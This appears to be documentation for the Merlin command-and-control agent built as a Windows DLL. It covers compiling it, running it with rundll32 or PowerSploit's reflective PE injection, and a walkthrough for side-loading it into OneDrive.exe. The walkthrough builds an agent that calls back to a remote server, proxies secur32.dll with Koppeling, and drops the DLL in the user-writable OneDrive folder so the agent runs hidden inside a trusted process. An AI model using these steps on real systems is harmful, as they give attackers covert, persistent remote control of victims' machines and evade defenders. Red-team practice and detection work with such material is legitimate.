merlin.c file is a very simple C file with a single function.
The VoidFunc and Run functions are exported to facilitate executing the DLL.
The VoidFunc function name was specifically chosen to facilitate use with PowerSploit’s
Invoke-ReflectivePEInjection.ps1.
Using VoidFunc requires no modification to run Merlin’s DLL with Invoke-ReflectivePEInjection.
If the DLL is compiled on Windows, the TDM-GCC 64bit compiler has proven to work well during testing.
If the DLL is compiled on Linux, ensure MinGW-w64 is installed.
Creating the DLL
The DLL can be created using the Make file withmake
Alternatively, it can be compiled without Make by following these steps:
-
Create the required C archive file:
go build -buildmode=c-archive main.go -
Compile the DLL:
gcc -shared -pthread -o merlin.dll merlin.c main.a -lwinmm -lntdll -lws2_32
DLL Entry Points
This table catalogs the exported functions formerlin.dll that can be used as an entry point when executing the DLL.
Execution with rundll32.exe
The DLL can be executed on a Windows host using the rundll32.exe program. Examples of usingrundll32 are:
rundll32 merlin.dll,Runrundll32 merlin.dll,Merlinrundll32 merlin.dll,Magic
rundll32 merlin.dll,Run https://yourdomian.com:443/
Passing a custom URL only works when using cmd.exe and fails when using powershell.exe
DLL Hijacking/Proxying with the Merlin DLL Agent
With a little bit of setup, the Merlin DLL agent can be used for DLL Hijacking / Side-loading / Proxying. This is a great technique to get the Merlin agent running in the codespace of a trusted process. The specifics on choosing an executable for DLL proxying are outside the scope of this documentation. Assume that a candidate executable has been identified. In themerlin-agent-dll repo, add a new exported function with an arbitrary name to main.go. Have this function execute the run function with the url argument:
merlin.c source code, add a new function that executes the exported function from main.go:
DllMain entry point. We want to create a thread that will execute the Merlin agent function when the DLL is side-loaded into the process:
husky@dev-kde:~/merlin-agent-dll$ make URL=http://10.10.1.237:8443 PSK=merlin PROTO=http
Let’s assume that we’re targeting the OneDrive.exe program for our DLL Proxy. We know that OneDrive.exe loads secur32.dll from the present working directory during execution.
We can now use a tool like Koppelling to create a proxied DLL:
PS C:\Users\Matt\Desktop\Koppeling> .\NetClone.exe --target 'C:\Users\Matt\Desktop\merlin.dll' --reference 'C:\Windows\system32\secur32.dll' --output 'C:\Users\Matt\Desktop\secur32.dll'
Then, we endeavor to drop our proxied DLL into the OneDrive application directory. Luckily for us, this is in %APPDATA% and we can write to the directory:
C:\Users\Matt\AppData\Local\Microsoft\OneDrive
When the application starts, our proxied DLL is pulled into the process and a thread is executed. Our session is established and our agent lives inside the OneDrive.exe process.